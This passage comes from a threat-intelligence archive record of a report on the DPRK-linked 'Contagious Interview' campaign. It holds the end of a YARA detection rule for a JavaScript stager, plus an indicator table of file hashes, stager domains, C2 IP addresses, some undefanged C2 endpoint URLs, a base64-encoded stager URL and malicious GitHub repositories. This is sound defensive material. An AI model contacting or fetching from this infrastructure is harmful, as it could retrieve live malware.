JavaScript used by DPRK operators to fetch the next stage payloads\"\r\n filehash1 = \"165324541c8f2d0a4bdac12fcf7ccc1738caf7e36bb11721186e0c560c4a8a69\"\r\n filehash2 = \"e1790a08ebf0402d49e826b6f773b3b6e55f3cb5a755bc2067dda2a0c2737503\"\r\n strings:\r\n $js1 = \"const\" ascii\r\n $js2 = \"async function\" ascii\r\n $str1 = \"hostname\" ascii\r\n $str2 = \"macs\" ascii\r\n $str3 = \"networkInterfaces\" ascii\r\n $str4 = \"filter\" ascii\r\n $str5 = \"instanceId\" ascii\r\n $str6 = \"errorMessage\" ascii\r\n $str7 = \"setInterval\" ascii\r\n $str8 = \"axios\" ascii\r\n $hex1 = {65 78 63 65 70 74 69 6f 6e 49 64 3a 22 65 6e 76 ?? ?? ?? ?? ?? ?? 22}\r\n $hex2 = {27 73 74 61 74 75 73 27 2c 27 65 6e 76 ?? ?? ?? ?? ?? ?? 27}\r\n $uri = \":3000/api/errorMessage\" ascii\r\n $mac = \"00:00:00:00:00:00\" ascii\r\n condition:\r\n all of ($js*)\r\nhttps://www.ransom-isac.org/blog/contagious-interview-vscode-to-rat/\r\nPage 20 of 23\n\nand 5 of ($str*)\r\n and (any of ($hex*) or $uri)\r\n and $mac\r\n and filesize \u003c 25KB\r\n}\r\nIndicators of Compromise (IoCs)\r\nIOC\r\nType\r\nValue Port Notes\r\nBase64\r\nString\r\naHR0cDovL2FwaS13ZWIzLWF1dGgudmVyY2VsLmFwcC9hcGkvYXV0aA== - Decodes to stager URL\r\nCampaign\r\nID\r\nenv101383 -\r\nCampaign identifier\r\nfrom deobfuscated\r\nsample\r\nCampaign\r\nID\r\nenv19475 -\r\nCampaign identifier\r\nfrom obfuscated code\r\nCampaign\r\nID\r\nmda6mda6mda6mda6mda6mda -\r\nObfuscated campaign\r\nidentifier\r\nDomain api-web3-auth[.]vercel[.]app 443 Stager infrastructure\r\nDomain jersey-factory.x[.]yupoo[.]com 443 Related infrastructure\r\nDomain metric-analytics-refresh.vercel[.]app 443 Stager infrastructure\r\nDomain sync-oracle-v3[.]vercel[.]app 443 Stager infrastructure\r\nDomain web3-metric-analytics.vercel[.]app 443 Stager infrastructure\r\nFile Path /scripts/jquery.min.js -\r\nTrojanized file in\r\nrepository\r\nFile Path next.config.js - Weaponized\r\nconfiguration file\r\nFile\r\nSHA256\r\n.vscode/tasks.json —\r\n8bae383ed46c28477b602b75d55c3e13469f5a2944f30203c20d0097b10e6bc2\r\n-\r\nSHA256 for VS Code\r\ntask autorun config\r\nFile\r\nSHA256\r\nnext.config.js —\r\nd33d0c358a75bfb73cbf901868c5ebfb6eccc8baaed073395c63a0b9caa73dd7\r\n-\r\nSHA256 for Next.js\r\nconfig that loads the\r\nstager\r\nFile\r\nSHA256\r\nscripts/jquery.min.js —\r\n57be9d3be7da3e8dff28b8d32de4427d4a31b8df2bebd972a1bd2270b5dadd83\r\n-\r\nSHA256 for trojanized\r\nfake jQuery stager\r\nFile\r\nSHA256\r\nSecondary leftover payload —\r\n1e498ea74be7447fb13c53670084532294f4bbe0f4fd3748da1a3900a5a63cf0\r\n-\r\nSecondary leftover\r\npayload\r\nFile\r\nSHA256\r\nenv-setup.js —\r\ne1790a08ebf0402d49e826b6f773b3b6e55f3cb5a755bc2067dda2a0c2737503\r\n-\r\nObfuscated JavaScript\r\nDropper\r\nFile\r\nSHA256\r\nenv.npl —\r\n165324541c8f2d0a4bdac12fcf7ccc1738caf7e36bb11721186e0c560c4a8a69\r\n-\r\nDeobfuscated\r\nJavaScript Dropper\r\nhttps://www.ransom-isac.org/blog/contagious-interview-vscode-to-rat/\r\nPage 21 of 23\n\nIOC\r\nType\r\nValue Port Notes\r\nGitHub\r\nRepo\r\nArsaPro001/jp-soc07 -\r\nString match of IOC\r\njersey-factory.x[.]yupoo[.]com\r\nGitHub\r\nRepo\r\nDarnellLex/jp-soccer-v1 -\r\nString match of IOC\r\njersey-factory.x[.]yupoo[.]com\r\nGitHub\r\nRepo\r\nymanatos1/jp-soc -\r\nString match of IOC\r\njersey-factory.x[.]yupoo[.]com\r\nGitHub\r\nRepo\r\nhttps://github.com/ArsagaPPro/Jp-Soccer2.git - Malicious repository\r\nIPv4 66[.]235.168.136 3000\r\nC2 server (first seen\r\n24-01-2026)\r\nIPv4 87[.]236.177.9 3000\r\nC2 server (first seen\r\n23-01-2026)\r\nIPv4 174[.]138.188.80 3000\r\nC2 server (first seen\r\n07-02-2026)\r\nIPv4 163[.]245.194.216 3000\r\nC2 server (first seen\r\n07-02-2026)\r\nIPv4 147[.]124.202.208 3000\r\nC2 server (first seen\r\n08-02-2026)\r\nIPv4 104.192.42[.]117 3000\r\nC2 server (first seen\r\n03-03-2026)\r\nIPv4 185[.]163.125.196 3000\r\nC2 server (first seen\r\n09-03-2026)\r\nMAC\r\nAddress\r\n00:00:00:00:00:00 -\r\nExcluded MAC\r\n(filtering mechanism)\r\nURL http://66.235.168.136:3000/api/errorMessage 3000 C2 endpoint\r\nURL http://87.236.177.9:3000/api/errorMessage 3000 C2 endpoint\r\nURL http://163.245.194.216:3000/api/errorMessage 3000\r\nC2 endpoint (observed\r\nHTTP 200 OK)\r\nURL http://174.138.188.80:3000/api/errorMessage 3000\r\nC2 endpoint (observed\r\nHTTP 200 OK)\r\nURL http://185.163.125.196:3000/api/errorMessage 3000\r\nC2 endpoint (observed\r\nHTTP 200 OK)\r\nURL http://88.99.212.230:3000/api/errorMessage 3000\r\nC2 endpoint (observed\r\nHTTP 200 OK)\r\nURL http://147.124.202.208:3000/api/errorMessage 3000\r\nC2 endpoint (observed\r\nHTTP 200 OK)\r\nhttps://www.ransom-isac.org/blog/contagious-interview-vscode-to-rat/\r\nPage 22 of 23\n\nIOC\r\nType\r\nValue Port Notes\r\nURL http://api-web3-auth.vercel[.]app/api/auth 443 Stager endpoint\r\nURL https://jersey-factory.x[.]yupoo.com/ 443 Related site\r\nURL https://metric-analytics-refresh.vercel[.]app/api/getMoralisData 443 Stager endpoint\r\nURL https://sync-oracle-v3.vercel[.]app/api/getMoralisData 443 Stager endpoint\r\nURL https://web3-metric-analytics.vercel[.]app/api/getMoralisData 443 Stager endpoint\r\nUser-AgentMozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36\r\n(KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36\r\n- Used in requests\r\nSource: https://www.ransom-isac.org/blog/contagious-interview-vscode-to-rat/\r\nhttps://www.ransom-isac.org/blog/contagious-interview-vscode-to-rat/\r\nPage 23 of 23",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"origins": [
		"web"
	],
	"references": [
		"https://www.ransom-isac.org/blog/contagious-interview-vscode-to-rat/"
	],
	"report_names": [
		"contagious-interview-vscode-to-rat"
	],
	"threat_actors": [
		{
			"id": "aa73cd6a-868c-4ae4-a5b2-7cb2c5ad1e9d",
			"created_at": "2022-10-25T16:07:24.139848Z",
			"updated_at": "2026-04-10T02:00:04.878798Z",
			"deleted_at": null,
			"main_name": "Safe",
			"aliases": [],
			"source_name": "ETDA:Safe",
			"tools": [
				"DebugView",
				"LZ77",
				"OpenDoc",
				"SafeDisk",
				"TypeConfig",
				"UPXShell",
				"UsbDoc",
				"UsbExe"
			],
			"source_id": "ETDA",
			"reports": null
		},
		{
			"id": "4fc99d9b-9b66-4516-b0db-520fbef049ed",
			"created_at": "2025-10-29T02:00:51.949631Z",
			"updated_at": "2026-04-10T02:00:05.346203Z",
			"deleted_at": null,
			"main_name": "Contagious Interview",
			"aliases": [
				"Contagious Interview",
				"DeceptiveDevelopment",
				"Gwisin Gang",
				"Tenacious Pungsan",
				"DEV#POPPER",
				"PurpleBravo",
				"TAG-121"
			],
			"source_name": "MITRE:Contagious Interview",
			"tools": [
				"InvisibleFerret",
				"BeaverTail",
				"XORIndex Loader",
				"HexEval Loader"
			],
			"source_id": "MITRE",
			"reports": null
		}
	],
	"ts_created_at": 1775434319,
	"ts_updated_at": 1775826727,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/2d0085b4d55ca8be5ca8a90a5f7628945d50f67b.pdf",
		"text": "https://archive.orkl.eu/2d0085b4d55ca8be5ca8a90a5f7628945d50f67b.txt",
		"img": "https://archive.orkl.eu/2d0085b4d55ca8be5ca8a90a5f7628945d50f67b.jpg"
	}
}